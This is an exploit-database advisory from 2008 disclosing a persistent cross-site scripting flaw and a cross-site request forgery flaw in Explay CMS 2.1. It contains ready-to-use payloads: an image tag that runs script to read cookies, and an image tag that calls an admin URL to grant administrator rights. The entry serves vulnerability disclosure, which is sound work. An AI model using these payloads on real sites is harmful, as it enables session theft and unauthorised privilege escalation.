Explay CMS 2.1 - Persistent Cross-Site Scripting / Cross-Site Request Forgery

Author: hodik
type: webapps
platform: php
port: 
date_added: 2008-09-18 
date_updated:  
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

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Explay CMS <= 2.1 Persistent XSS and CSRF
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Discovered by hodik
Mail: n.khodov@gmail.com

1. Persistent XSS
This CMS has bad anti-XSS filter that cut only some basic vectors. The loginned user can inject persistent XSS by adding to article text or comment  <img src="http://google.com" onerror="alert(document.cookie)" />

2. CSRF
User can get admin rights if admin open malicious page that contain, for instance:
<img src="http://explay.localhost/admin.php?name=users&page=1&order=user_id&set_admin=2" />
or merely insert it to comment or article text.

# milw0rm.com [2008-09-19]